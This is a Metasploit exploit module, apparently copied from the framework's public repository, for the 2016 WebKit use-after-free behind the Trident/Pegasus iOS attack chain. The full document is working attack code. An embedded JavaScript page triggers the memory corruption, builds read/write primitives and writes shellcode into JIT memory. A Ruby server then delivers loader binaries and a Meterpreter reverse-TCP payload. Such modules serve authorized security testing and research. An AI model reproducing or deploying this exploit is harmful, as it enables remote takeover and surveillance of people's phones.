Path: blob/master/modules/exploits/apple_ios/browser/webkit_trident.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'WebKit not_number defineProperties UAF',15'Description' => %q{16This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.17},18'License' => MSF_LICENSE,19'Author' => [20'qwertyoruiop', # jbme.qwertyoruiop.com21'siguza', # PhoenixNonce22'tihmstar', # PhoenixNonce23'benjamin-42', # Trident24'timwr', # metasploit integration25],26'References' => [27['CVE', '2016-4655'],28['CVE', '2016-4656'],29['CVE', '2016-4657'],30['BID', '92651'],31['BID', '92652'],32['BID', '92653'],33['URL', 'https://blog.lookout.com/trident-pegasus'],34['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],35['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],36['URL', 'https://github.com/Siguza/PhoenixNonce'],37['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],38['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],39['URL', 'https://github.com/benjamin-42/Trident'],40['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],41],42'Arch' => ARCH_AARCH64,43'Platform' => 'apple_ios',44'DefaultTarget' => 0,45'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },46'Targets' => [[ 'Automatic', {} ]],47'DisclosureDate' => '2016-08-25',48'Notes' => {49'Stability' => [ CRASH_SERVICE_DOWN ],50'SideEffects' => [ IOC_IN_LOGS ],51'Reliability' => [ UNRELIABLE_SESSION ]52}53)54)55register_options(56[57OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),58OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])59]60)61end6263def payload_url64"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"65end6667def on_request_uri(cli, request)68print_status("Request from #{request['User-Agent']}")6970if request.uri =~ %r{/loader32$}71print_good('armle target is vulnerable.')72local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'exploit32')73loader_data = File.read(local_file, mode: 'rb')74srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)75config = [srvhost, srvport].pack('Nn') + payload_url76payload_url_index = loader_data.index('PAYLOAD_URL')77loader_data[payload_url_index, config.length] = config78send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })79return80elsif request.uri =~ %r{/loader64$}81print_good('aarch64 target is vulnerable.')82local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'loader')83loader_data = File.read(local_file, mode: 'rb')84send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })85return86elsif request.uri =~ %r{/exploit64$}87local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'exploit')88loader_data = File.read(local_file, mode: 'rb')89payload_url_index = loader_data.index('PAYLOAD_URL')90loader_data[payload_url_index, payload_url.length] = payload_url91send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })92print_status("Sent exploit (#{loader_data.size} bytes)")93return94elsif request.uri =~ %r{/payload32$}95payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha196send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })97print_status("Sent payload (#{payload_data.size} bytes)")98return99end100101html = %^102<html>103<body>104<script>105106function load_binary_resource(url) {107var req = new XMLHttpRequest();108req.open('GET', url, false);109req.overrideMimeType('text/plain; charset=x-user-defined');110req.send(null);111return req.responseText;112}113114var pressure = new Array(400);115var bufs = new Array(10000);116117var fcp = 0;118var smsh = new Uint32Array(0x10);119120var trycatch = "";121for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";122var fc = new Function(trycatch);123124function dgc() {125for (var i = 0; i < pressure.length; i++) {126pressure[i] = new Uint32Array(0xa000);127}128for (var i = 0; i < pressure.length; i++) {129pressure[i] = 0;130}131}132133function swag() {134if(bufs[0]) return;135136dgc();137138for (i=0; i < bufs.length; i++) {139bufs[i] = new Uint32Array(0x100*2)140for (k=0; k < bufs[i].length; )141{142bufs[i][k++] = 0x41414141;143bufs[i][k++] = 0xffff0000;144}145}146}147148var mem0=0;149var mem1=0;150var mem2=0;151152function read4(addr) {153mem0[4] = addr;154var ret = mem2[0];155mem0[4] = mem1;156return ret;157}158159function write4(addr, val) {160mem0[4] = addr;161mem2[0] = val;162mem0[4] = mem1;163}164165_dview = null;166function u2d(low, hi) {167if (!_dview) _dview = new DataView(new ArrayBuffer(16));168_dview.setUint32(0, hi);169_dview.setUint32(4, low);170return _dview.getFloat64(0);171}172173function go_(){174var arr = new Array(0x100);175var not_number = {};176not_number.toString = function() {177arr = null;178props["stale"]["value"] = null;179swag();180return 10;181};182183smsh[0] = 0x21212121;184smsh[1] = 0x31313131;185smsh[2] = 0x41414141;186smsh[3] = 0x51515151;187smsh[4] = 0x61616161;188smsh[5] = 0x71717171;189smsh[6] = 0x81818181;190smsh[7] = 0x91919191;191192var props = {193p0 : { value : 0 },194p1 : { value : 1 },195p2 : { value : 2 },196p3 : { value : 3 },197p4 : { value : 4 },198p5 : { value : 5 },199p6 : { value : 6 },200p7 : { value : 7 },201p8 : { value : 8 },202length : { value : not_number },203stale : { value : arr },204after : { value : 666 }205};206207var target = [];208var stale = 0;209Object.defineProperties(target, props);210stale = target.stale;211212if (stale.length != 0x41414141){213location.reload();214return;215}216217var obuf = new Uint32Array(2);218obuf[0] = 0x41414141;219obuf[1] = 0xffff0000;220221stale[0] = 0x12345678;222stale[1] = {};223224for(var z=0; z<0x100; z++) fc();225226for (i=0; i < bufs.length; i++) {227var dobreak = 0;228for (k=0; k < bufs[0].length; k++) {229if (bufs[i][k] == 0x12345678) {230if (bufs[i][k+1] == 0xFFFF0000) {231stale[0] = fc;232fcp = bufs[i][k];233stale[0] = {234'a': u2d(105, 0),235'b': u2d(0, 0),236'c': smsh,237'd': u2d(0x100, 0)238}239stale[1] = stale[0];240bufs[i][k] += 0x10;241bck = stale[0][4];242stale[0][4] = 0;243stale[0][6] = 0xffffffff;244mem0 = stale[0];245mem1 = bck;246mem2 = smsh;247bufs.push(stale);248if (smsh.length != 0x10) {249var filestream = load_binary_resource("loader64");250var macho = load_binary_resource("exploit64");251r2 = smsh[(fcp+0x18)/4];252r3 = smsh[(r2+0x10)/4];253var jitf = smsh[(r3+0x10)/4];254write4(jitf, 0xd28024d0); //movz x16, 0x126255write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4256write4(jitf + 8, 0xd4001001); //svc 80257write4(jitf + 12, 0xd65f03c0); //ret258write4(jitf + 16, jitf + 0x20);259write4(jitf + 20, 1);260fc();261var dyncache = read4(jitf + 0x20);262var dyncachev = read4(jitf + 0x20);263var go = 1;264while (go) {265if (read4(dyncache) == 0xfeedfacf) {266for (i = 0; i < 0x1000 / 4; i++) {267if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever268{269go = 0;270break;271}272}273}274dyncache += 0x1000;275}276dyncache -= 0x1000;277var bss = [];278var bss_size = [];279for (i = 0; i < 0x1000 / 4; i++) {280if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {281bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);282bss_size.push(read4(dyncache + i * 4 + (0x28)));283}284}285var shc = jitf;286for (var i = 0; i < filestream.length;) {287var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);288write4(shc, word);289shc += 4;290i += 4;291}292jitf &= ~0x3FFF;293jitf += 0x8000;294write4(shc, jitf);295write4(shc + 4, 1);296// copy macho297for (var i = 0; i < macho.length;i+=4) {298var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);299write4(jitf+i, word);300}301for (var i = 0; i < bss.length; i++) {302for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {303write4(bss[i] + k * 4, 0);304}305}306fc();307}308} else if(bufs[i][k+1] == 0xFFFFFFFF) {309stale[0] = fc;310fcp = bufs[i][k];311stale[0] = smsh;312stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}313stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}314stale[1] = stale[0];315bufs[i][k] += 0x10;316var leak = stale[0][0].charCodeAt(0);317leak += stale[0][1].charCodeAt(0) << 8;318leak += stale[0][2].charCodeAt(0) << 16;319leak += stale[0][3].charCodeAt(0) << 24;320bufs[i][k] -= 0x10;321stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}322stale[1] = stale[0];323bufs[i][k] += 0x10;324stale[0][4] = 0;325stale[0][5] = 0xffffffff;326bufs[i][k] -= 0x10;327mem0 = stale[0];328mem2 = smsh;329if (smsh.length != 0x10) {330setTimeout(function() {331var filestream = load_binary_resource("loader32");332r2 = smsh[(fcp+0x14)/4];333r3 = smsh[(r2+0x10)/4];334shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;335smsh[shellcode/4] = 0;336shellcode += 4;337smsh[shellcode/4] = 0;338shellcode += 4;339smsh[shellcode/4] = 0;340shellcode += 4;341smsh[shellcode/4] = 0;342shellcode += 4;343for(var i = 0; i < filestream.length; i+=4) {344var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);345smsh[(shellcode+i)/4] = word;346}347smsh[(fcp+0x00)/4] = fcp+4;348smsh[(fcp+0x04)/4] = fcp+4;349smsh[(fcp+0x08)/4] = shellcode+1; //PC350smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;351352fc();353}, 100);354}355} else {356location.reload();357}358dobreak = 1;359break;360}361}362if (dobreak) break;363}364location.reload();365}366367setTimeout(go_, 300);368369370</script>371</body>372</html>373^374send_response(cli, html, { 'Content-Type' => 'text/html' })375end376end377378379